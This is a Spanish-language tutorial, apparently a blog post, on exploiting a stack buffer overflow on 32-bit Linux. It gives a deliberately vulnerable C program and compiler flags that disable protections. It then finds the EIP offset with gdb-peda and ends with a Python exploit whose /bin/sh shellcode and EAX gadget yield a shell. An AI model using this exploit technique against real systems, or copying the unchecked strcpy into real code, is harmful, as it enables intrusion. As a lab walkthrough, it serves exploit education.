Stack-Based Buffer Overflow Linux x32
Resolución de un Buffer overflow en Linux de 32 Bits.
Introducción
¡Saludos a tod@s!,
En este artículo explicaré como se realizará un Buffer overflow en Linux de 32 bits utilizando GDB y Python para poder desarrollar un pequeño exploit y lograr tener ejecución de comandos.
En este caso no me pararé mucho a explicar que es un Buffer overflow, ya que tengo un artículo mucho más detallado aquí: Introducción a Buffer overflow.
La herramienta que utilizaré será gdb-peda como he mencionado anteriormente, dicho esto podemos comenzar.
Código fuente
Este código representa un programa simple que es vulnerable a un desbordamiento de búfer debido a la función “strcpy” que no verifica la longitud del búfer “dest”. Si el argumento de la función “vuln” es más largo de lo normal, va a sobrescribir la memoria por encima del límite del búfer “dest”.
#include <string.h>
#include <stdio.h>
void vuln(char *src)
{
char dest[100];
strcpy(dest, src);
}
int main(int argg, char *argv[])
{
if (argg != 2)
{
printf("Usage: %s <argument>\n", argv[0]);
return 1;
}
vuln(argv[1]);
return 0;
}
Compilar código
Compilamos el código con la siguiente sintaxis:
gcc -m32 -fno-stack-protector -z execstack -no-pie -g code.c -o code
Una pequeña explicación de lo que hace cada una de las flags empleadas en la compilación:
-m32
Compila para un modelo de datos de 32 bits.
-fno-stack-protector
El protector de pila está desactivado de forma predeterminada.
-no-pie
PIE es una condición previa para habilitar la aleatorización del diseño del espacio de direcciones (ASLR).
-z execstack
Se utiliza como vinculador de palabra clave en este caso “execstack”.
-g
Genera información de depuración para ser utilizada por el depurador GDB.
-o
Output de la compilación.
Como también se puede apreciar en la siguiente imagen, usando la utilidad “checksec” de gdb comprobamos que no tiene ningún tipo de protección:

Explotación
Podemos verificar que una vez que enviamos una cantidad superior de datos a lo que se le puede almacenar en el Búfer nos muestra lo siguiente:

Búsqueda EIP
Creamos un patrón cíclico con gdb para poder encontrar el offset EIP (Extended Instruction Pointer).
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
Lo copiamos y lo mandamos.
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
El patrón se almacena en en EAX.

El valor de EIP es: 112
.

Como el valor se almacena en EAX, podemos buscar un gadtget para que cuando llamemos al registro EAX ejecute lo que le mandemos.

Desarrollo de exploit
#!/usr/bin/python3
import struct,sys
# Shellcode de 32 bits
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
eip = 112 # Dirección de retorno
eax = struct.pack("I", 0x8049019) # Gadget
junk = b"A" * (eip - len(shellcode)) # Relleno
buf = shellcode + junk + eax
sys.stdout.buffer.write(buf) # Escribe el contenido del Buffer en la salida estándar.
Shell
Mandamos el exploit, y obtenemos una shell.

Última actualización